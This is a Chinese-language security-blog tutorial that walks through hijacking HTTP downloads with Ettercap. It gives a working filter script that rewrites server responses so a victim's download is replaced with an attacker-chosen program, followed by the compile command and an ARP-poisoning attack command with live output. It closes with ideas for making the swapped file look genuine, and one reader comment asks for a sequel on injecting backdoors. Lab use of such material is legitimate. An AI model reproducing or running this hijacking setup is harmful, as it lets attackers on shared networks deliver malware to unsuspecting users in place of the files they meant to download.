中间人攻击
FB招聘站
分类阅读
专栏
公开课
FIT 2019
企业服务
用户服务
搜索
投稿
登录
注册
【新手指南】如何用Ettercap实现“中间人攻击”(二):HTTP数据劫持 gaearrow2017-04-28现金奖励共460467人围观 ,发现 5 个不明物体 网络安全
*本文原创作者:gaearrow,本文属FreeBuf原创奖励计划,未经许可禁止转载
作为《新手指南:如何用Ettercap实现“中间人攻击”》工具介绍的续篇,本文以某知名下载网站为例,从实战角度出发,分析交互过程,逐步介绍了利用Ettercap,构造过滤规则实现HTTP劫持的整个过程。
1 实验环境介绍
实验环境主要由LinuxMint宿主机利用VMware虚拟环境 构建。其中攻击机为kali2系统, ettercap版本为0.8.2;被攻击机为Windows 7 系统,浏览器使用IE11。 两者均采用NAT网络方式通过宿主机连接互联网。 详细的网络及地址信息如下图所示。
实验环境.PNG
图 1 实验环境拓扑
2 分析交互过程
利用安装在被攻击机上的Wireshark抓包分析, 可知该网站下载过程可分两类:直接下载和 间接(先下载第三方程序后再下载所要内容)下载。逐步分析得到如下截图。
下载截图.PNG.png
图 2 网站下载链接 截图
直接下载过程.png
图 3 直接下载过程
间接下载过程.png
图 4 间接下载过程
交互过程.png
图 5 下载交互过程
针对两种不同的下载方式,分别确定劫持替换思路。
(1)直接下载过程
定位“200 OK”服务器响应数据包,将其修改成302 Moved Temporarily,并添加Location属性,重定向至攻击者指定的程序地址 ,完成下载劫持。
(2)间接下载过程
定位302 Moved Temporarily数据包,替换Location属性的下载程序地址 ,完成下载劫持。
3 定制过滤规则
依照劫持替换思路制定如下过滤规则
# ettercap v0.8.2
# filename:onlinedown.filter
# Written by Gaearrow
## Disable Encoding
if (ip.proto == TCP && tcp.dst == 80){
if (search(DATA.data, "Accept-Encoding")){
replace("Accept-Encoding", "Accept-Nothing");
}
}
## Replace
if (ip.proto == TCP){
## Replace 302 Response
if (search(DATA.data, "302 Moved Temporarily")){
msg("Found 302 Response!\n");
if (search(DATA.data, "Location:")){
replace("Location:", "Location: http://YOUR_PROGRAM_URL#");
msg("Replace 302 Successfully!\n");
}
}
## Replace 200 Response
if (search(DATA.data, "200 OK")){
msg("Found 200 Response!\n");
if (search(DATA.data, "Content-Type: application")){
replace("200 OK", "302 Moved Temporarily \r\nLocation: http://YOUR_PROGRAM_URL#");
msg("Replace 200 Successfully!\n");
}
}
}
其中替换Location时,最后添加的“#”是为了忽略后面的原URL内容。
规则编译命令如下
root@kali2:~/ettercap# etterfilter onlinedown.filter -o onlinedown.ef
etterfilter 0.8.2 copyright 2001-2015 Ettercap Development Team
14 protocol tables loaded:
DECODED DATA udp tcp esp gre icmp ipv6 ip arp wifi fddi tr eth
13 constants loaded:
VRRP OSPF GRE UDP TCP ESP ICMP6 ICMP PPTP PPPOE IP6 IP ARP
Parsing source file 'onlinedown.filter' done.
Unfolding the meta-tree done.
Converting labels to real offsets done.
Writing output to 'onlinedown.ef' done.
-> Script encoded into 24 instructions.
3 验证攻击效果
3.1 执行攻击命令
root@kali2:~/ettercap# ettercap -i eth0 -Tq -F onlinedown.ef -M arp:remote //192.168.190.2/ //192.168.190.130/
ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team
Content filters loaded from onlinedown.ef...
Listening on:
eth0 -> 00:0C:29:AF:AF:AF
192.168.190.134/255.255.255.0
fe80::20c:29ff:feaf:afaf/64
SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Ettercap might not work correctly. /proc/sys/net/ipv6/conf/eth0/use_tempaddr is not set to 0.
Privileges dropped to EUID 65534 EGID 65534...
33 plugins
42 protocol dissectors
57 ports monitored
20388 mac vendor fingerprint
1766 tcp OS fingerprint
2182 known services
Lua: no scripts were specified, not starting up!
Scanning for merged targets (2 hosts)...
* |==================================================>| 100.00 %
2 hosts added to the hosts list...
ARP poisoning victims:
GROUP 1 : 192.168.190.2 00:50:56:F9:00:EC
GROUP 2 : 192.168.190.130 00:0C:29:BD:41:A7
Starting Unified sniffing...
Text only Interface activated...
Hit 'h' for inline help
Found 200 Response!
Found 200 Response!
Found 200 Response!
Found 200 Response!
Replace 200 Successfully!
Found 302 Response!
Replace 302 Successfully!
Found 200 Response!
Replace 200 Successfully!
3.2 直接下载劫持成功
zhijie.png
3.3 间接下载劫持成功
jianjie.png
4 存在不足
本文基于kali平台上的Ettercap,对某知名下载网站下载过程成功实施了劫持。但该过程存在以下几点不足:
(1)虽然本文将两种下载过程分别讨论,但本质一致,应该可以划归一类;
(2)攻击者指定的文件名称不能随被劫持文件名变化,但是通过搭建WEB服务,截取Get请求中的被劫持文件URI中名称字段,可以解决实现名称一致;
(3)下载文件的图标,无法随需求变化,除了使用通用化的图标,暂时没有好的解决思路。
*本文原创作者:gaearrow,本文属FreeBuf原创奖励计划,未经许可禁止转载
gaearrow
gaearrow
5 篇文章
等级: 4级
||
上一篇:利用企业邮件系统构造命令控制(C&C)和数据窃取(Exfiltration)通道的思路探讨下一篇:Makednslog:让我们来看一看这款能够伪造DNS日志的工具
发表评论已有 5 条评论
1455018613 (4级) 1455018613 2017-04-28回复 1楼
过程很详细。感谢freebuf
亮了(2)
屌丝绅士 专栏作者(5级) 做自己的自己 和平年代的炮灰,战争年代的爆破鬼才 2017-04-28回复 2楼
不错 理论够了,点赞
亮了(1)
自律 (5级) 2017-04-28回复 3楼
推荐使用bettercap
亮了(3)
WinXx (1级) 2017-04-28回复 4楼
期待下集,不ARP,直接注入后门
亮了(0)
glxin (1级) 2017-05-04回复 5楼
我使用 ettercap 经常崩溃,而且现在好像有个 bettercap 吧
亮了(0)
昵称
请输入昵称
必须您当前尚未登录。登陆?注册邮箱
请输入邮箱地址
必须(保密)表情插图
有人回复时邮件通知我
gaearrow
gaearrow
二次元安全狗
5
文章数
40
评论数
最近文章
NetUse命令在渗透测试中的连接条件测试
2017.06.12
网卡厂商自动识别工具(附源代码)
2017.05.26
【新手指南】如何用Ettercap实现“中间人攻击”(二):HTTP数据劫持
2017.04.28
浏览更多
相关阅读
新手指南:如何用Ettercap实现“中间人攻击”(附下载链接)技术讨论 | 利用SET和Ettercap实现内网钓鱼获取帐号密码iphone下的无线嗅探攻击利用sslstrip和ettercap突破ssl嗅探密码
新型渗透思路:两种密码重置之综合利用
特别推荐
关注我们 分享每日精选文章
活动预告
11月
FreeBuf精品公开课·双11学习狂欢节 | 给努力的你打打气
已结束
10月
【16课时-连载中】挖掘CVE不是梦(系列课程2)
已结束
10月
【首节课仅需1元】挖掘CVE不是梦
已结束
9月
【已结束】自炼神兵之自动化批量刷SRC
已结束
FREEBUF免责声明协议条款关于我们加入我们广告及服务寻求报道广告合作联系我们友情链接关注我们
官方微信
新浪微博腾讯微博Twitter赞助商
Copyright © 2018 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号
css.php 正在加载中...0daybank
文章评论